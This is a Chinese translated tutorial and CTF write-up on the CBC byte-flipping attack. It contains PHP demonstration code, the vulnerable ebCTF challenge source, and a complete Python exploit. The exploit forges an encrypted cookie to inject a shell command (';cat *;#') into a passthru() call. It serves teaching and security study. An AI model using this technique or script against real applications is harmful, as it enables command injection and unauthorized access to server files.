<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/tips/7828

            0x00 譯者前言


            本文翻譯自:http://resources.infosecinstitute.com/cbc-byte-flipping-attack-101-approach/

            drops里的相關主題文章:使用CBC比特反轉攻擊繞過加密的會話令牌

            緣起是糖果出的一道題,看到原文作者對這一問題闡述的較為詳細,雖然時間有些久遠,但翻譯一下可與諸君學習一下思考問題的方法。

            0x01 相關介紹


            此攻擊方法的精髓在于:通過損壞密文字節來改變明文字節。(注:借助CBC內部的模式)借由此可以繞過過濾器,或者改變用戶權限提升至管理員,又或者改變應用程序預期明文以盡猥瑣之事。

            首先讓我們看看CBC是如何工作的,(作者很懶所以)更多細節你可以看這里:wiki

            在這里只是解釋一下關于攻擊必須要理解的部分。(即:一圖勝千言)

            加密過程

            enter image description here

            Plaintext:待加密的數據。

            IV:用于隨機化加密的比特塊,保證即使對相同明文多次加密,也可以得到不同的密文。

            Key:被一些如AES的對稱加密算法使用。

            Ciphertext:加密后的數據。

            在這里重要的一點是,CBC工作于一個固定長度的比特組,將其稱之為。在本文中,我們將使用包含16字節的塊。

            因為作者討厭高數(和譯者一樣),所以作者造了一些自己的公式(方便記憶):

            注意:正如你所見,前一塊的密文用來產生后一塊的密文

            Decryption Process

            enter image description here

            注意:Ciphertext-N-1(密文-N-1)是用來產生下一塊明文;這就是字節翻轉攻擊開始發揮作用的地方。如果我們改變Ciphertext-N-1(密文-N-1)的一個字節,然后與下一個解密后的組塊異或,我們就可以得到一個不同的明文了!You got it?別擔心,下面我們將看到一個詳細的例子。與此同時,下面的這張圖也可以很好地說明這種攻擊:

            enter image description here

            0x02 一個例子(CBC Blocks of 16 bytes)


            比方說,我們有這樣的明文序列:

            a:2:{s:4:"name";s:6:"sdsdsd";s:8:"greeting";s:20:"echo 'Hello sdsdsd!'";}

            我們的目標是將“s:6”當中的數字6轉換成數字“7”。我們需要做的第一件事就是把明文分成16個字節的塊:

            因此,我們的目標字符位于塊2,這意味著我們需要改變塊1的密文來改變第二塊的明文。

            有一條經驗法則是(注:結合上面的說明圖可以得到),你在密文中改變的字節,會影響到在下一明文當中,具有相同偏移量的字節。所以我們目標的偏移量是2:

            因此我們要改變在第一個密文塊當中,偏移量是2的字節。正如你在下面的代碼當中看到的,在第2行我們得到了整個數據的密文,然后在第3行中,我們改變塊1中偏移量為2的字節,最后我們再調用解密函數。

            1. $v = "a:2:{s:4:"name";s:6:"sdsdsd";s:8:"greeting";s:20:"echo 'Hello sdsdsd!'";}";
            2. $enc = @encrypt($v);
            3. $enc[2] = chr(ord($enc[2]) ^ ord("6") ^ ord ("7"));
            4. $b = @decrypt($enc);

            運行這段代碼后,我們可以將數字6變為7:

            enter image description here

            但是我們在第3行中,是如何改變字節成為我們想要的值呢?

            基于上述的解密過程,我們知道有,A = Decrypt(Ciphertext)B = Ciphertext-N-1異或后最終得到C = 6。等價于:

            C = A XOR B
            

            所以,我們唯一不知道的值就是A(注:對于B,C來說)(block cipher decryption);借由XOR,我們可以很輕易地得到A的值:

            A = B XOR C
            

            最后,A XOR B XOR C等于0。有了這個公式,我們可以在XOR運算的末尾處設置我們自己的值,就像這樣:

            A XOR B XOR C XOR "7"會在塊2的明文當中,偏移量為2的字節處得到7。

            下面是相關原理實現的PHP源代碼:

            #!php
            define('MY_AES_KEY', "abcdef0123456789");
            function aes($data, $encrypt) {
                $aes = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, '');
                $iv = "1234567891234567";
                mcrypt_generic_init($aes, MY_AES_KEY, $iv);
                return $encrypt ? mcrypt_generic($aes,$data) : mdecrypt_generic($aes,$data);
            }
            
            define('MY_MAC_LEN', 40);
            
            function encrypt($data) {
                return aes($data, true);
            }
            
            function decrypt($data) {
                $data = rtrim(aes($data, false), "\0");
                return $data;
            }
            $v = "a:2:{s:4:\"name\";s:6:\"sdsdsd\";s:8:\"greeting\";s:20:\"echo 'Hello sdsdsd!'\";}";
            echo "Plaintext before attack: $v\n";
            $b = array();
            $enc = array();
            $enc = @encrypt($v);
            $enc[2] =  chr(ord($enc[2]) ^ ord("6") ^ ord ("7"));
            $b = @decrypt($enc);
            echo "Plaintext AFTER attack : $b\n";
            

            0x03 一個練習


            光說不練假把式,接下來作者舉了一個他參加過的CTF中的一道題目的例子(更多詳情可以參閱最后的相關參考鏈接),然后闡述了他是怎樣在最后幾步中打破CBC的。

            下面提供了這個練習當中很重要的一部分源碼:

            enter image description here

            其中,你在POST提交參數"name"的任何文本值之后,應用程序則會對應輸出"Hello"加上最后提交的文本。但是有兩件事情發生在消息打印之前:

            1. POST參數"name"值被PHP函數escapeshellarg()過濾(轉換單引號,防止惡意命令注入),然后將其存儲在Array->greeting當中,最后加密該值來產生cookie。
            2. Array->greeting當中的內容被PHP函數passthru()執行。
            3. 最后,在頁面被訪問的任何時間中,如果cookie已經存在,它會被解密,它的內容會通過passthru()函數執行。如前節所述,在這里CBC攻擊會給我們一個不同的明文。

            然后作者構造了一個POST"name"的值來注入字符串:

            name = 'X' + ';cat *;#a'
            

            首先作者添加了一個字符"X",通過CBC翻轉攻擊將其替換成一個單引號,然后;cat *;命令將被執行,最后的#是用來注釋,確保函數escapeshellarg()插入的單引號不會引起其他問題;因此我們的命令就被成功執行啦。

            在計算好之前的密碼塊中,要被改變的字節的確切偏移量(51)后,作者通過下面的代碼來注入單引號:

            pos = 51;
            val = chr(ord('X') ^ ord("'") ^ ord(cookie[pos]))
            exploit = cookie[0:pos] + val + cookie[pos + 1:]
            

            然后作者通過改變cookie(因為其具有全部的密文),得到以下結果:

            enter image description here

            首先,因為我們改變了第一塊,所以在第二塊中,黃色標記的"X"被成功替換為單引號,它被認為是多余插入(綠色),導致在unserialize()處理數據時產生一個錯誤(紅色),因此應用程序甚至都沒有去嘗試執行注入了。

            如何完善

            我們需要使我們的注入數據有效,那么我們在第一塊中得到的額外數據,就不能在反序列化的過程中造成任何問題(unserialize())。一種方法是在我們的惡意命令中填充字母字符。因此我們嘗試在注入字符串前后填充多個'z':

            name = 'z'*17 + 'X' + ';cat *;#' + 'z'*16
            

            在發送上述字符串后,unserialize()并沒有報錯,并且我們的shell命令成功執行!!!

            0x04 相關參考


            1. CRYPTO #2: http://blog.gdssecurity.com/labs/tag/crypto
            2. http://codezen.fr/2013/08/05/ebctf-2013-web400-cryptoaescbchmac-write-up/
            3. http://hardc0de.ru/2013/08/04/ebctf-web400/

            0x05 附錄代碼


            下面是上面練習當中的PHP源碼及exp:

            PHP code:

            #!php
            ini_set('display_errors',1);
            error_reporting(E_ALL);
            
            define('MY_AES_KEY', "abcdef0123456789");
            define('MY_HMAC_KEY',"1234567890123456" );
            #define("FLAG","CENSORED");
            
            function aes($data, $encrypt) {
            $aes = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, '');
            $iv = mcrypt_create_iv (mcrypt_enc_get_iv_size($aes), MCRYPT_RAND);
            $iv = "1234567891234567";
            mcrypt_generic_init($aes, MY_AES_KEY, $iv);
            return $encrypt ? mcrypt_generic($aes, $data) : mdecrypt_generic($aes, $data);
            }
            
            define('MY_MAC_LEN', 40);
            
            function hmac($data) {
            return hash_hmac('sha1', data, MY_HMAC_KEY);
            }
            
            function encrypt($data) {
            return aes($data . hmac($data), true);
            }
            
            function decrypt($data) {
            $data = rtrim(aes($data, false), "\0");
            $mac = substr($data, -MY_MAC_LEN);
            $data = substr($data, 0, -MY_MAC_LEN);
            return hmac($data) === $mac ? $data : null;
            }
            $settings = array();
            if (@$_COOKIE['settings']) {
            echo @decrypt(base64_decode($_COOKIE['settings']));
            $settings = unserialize(@decrypt(base64_decode($_COOKIE['settings'])));
            }
            if (@$_POST['name'] && is_string($_POST['name']) && strlen($_POST['name']) < 200) {
            $settings = array(
            'name' => $_POST['name'],
            'greeting' => ('echo ' . escapeshellarg("Hello {$_POST['name']}!")),
            );
            setcookie('settings', base64_encode(@encrypt(serialize($settings))));
            #setcookie('settings', serialize($settings));
            }
            $d = array();
            if (@$settings['greeting']) {
            passthru($settings['greeting']);
            else {
            echo "</pre>
            <form action="\&quot;?\&quot;" method="\&quot;POST\&quot;">\n";
            echo "
            What is your name?
            
            \n";
            echo "<input type="\&quot;text\&quot;" name="\&quot;name\&quot;" />\n";
            echo "<input type="\&quot;submit\&quot;" name="\&quot;submit\&quot;" value="\&quot;Submit\&quot;" />\n";
            echo "</form>
            <pre>
            \n";
            }
            ?>
            

            Exploit:

            #!python
            #!/usr/bin/python
            import requests
            import sys
            import urllib
            from base64 import b64decode as dec
            from base64 import b64encode as enc
            
            url = 'http://192.168.184.133/ebctf/mine.php'
            
            def Test(x):
                t = "echo 'Hello %s!'" % x
                s = 'a:2:{s:4:"name";s:%s:"%s";s:8:"greeting";s:%s:"%s";}%s' % (len(x),x,len(t),t, 'X'*40)
                for i in xrange(0,len(s),16):
                    print s[i:i+16]
                print '\n'
            
            def Pwn(s):
                global url
                s = urllib.quote_plus(enc(s))
                req = requests.get(url, cookies = {'settings' : s}).content
             #   if req.find('works') != -1:
                print req
              #  else:
               #     print '[-] FAIL'
            
            def GetCookie(name):
                global url
                d = {
                    'name':name,
                    'submit':'Submit'
                }
                h = requests.post(url, data = d, headers = {'Content-Type' : 'application/x-www-form-urlencoded'}).headers
                if h.has_key('set-cookie'):
                    h = dec(urllib.unquote_plus(h['set-cookie'][9:]))
                    #h = urllib.unquote_plus(h['set-cookie'][9:])
                    #print h
                    return h
                else:
                    print '[-] ERROR'
                    sys.exit(0)
            
            #a:2:{s:4:"name";s:10:"X;cat *;#a";s:8:"greeting";s:24:"echo 'Hello X;cat *;#a!'";}
            #a:2:{s:4:"name";
            #s:10:"X;cat *;#a
            #";s:8:"greeting"
            #;s:24:"echo 'Hel
            #lo X;cat *;#a!'"
            #;}
            
            #a:2:{s:4:"name";s:42:"zzzzzzzzzzzzzzzzzX;cat *;#zzzzzzzzzzzzzzzz";s:8:"greeting";s:56:"echo 'Hello zzzzzzzzzzzzzzzzzX;cat *;#zzzzzzzzzzzzzzzz!'";}
            #a:2:{s:4:"name";
            #s:42:"zzzzzzzzzz
            #zzzzzzzX;cat *;#
            #zzzzzzzzzzzzzzzz
            #";s:8:"greeting"   
            #;s:56:"echo 'Hel
            #lo zzzzzzzzzzzzz
            #zzzzX;cat *;#zzz
            #zzzzzzzzzzzzz!'"
            #;}
            #exploit = 'X' + ';cat *;#a' #Test case first, unsuccess
            exploit = 'z'*17 + 'X' + ';cat *;#' + 'z' *16 # Test Success
            
            #exploit = "______________________________________________________; cat *;#"
            #Test(exploit)
            cookie = GetCookie(exploit)
            pos = 100; #test case success
            #pos = 51; #test case first, unsuccess
            val = chr(ord('X') ^ ord("'") ^ ord(cookie[pos]))
            exploit = cookie[0:pos] + val + cookie[pos + 1:]
            Pwn(exploit)
            

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线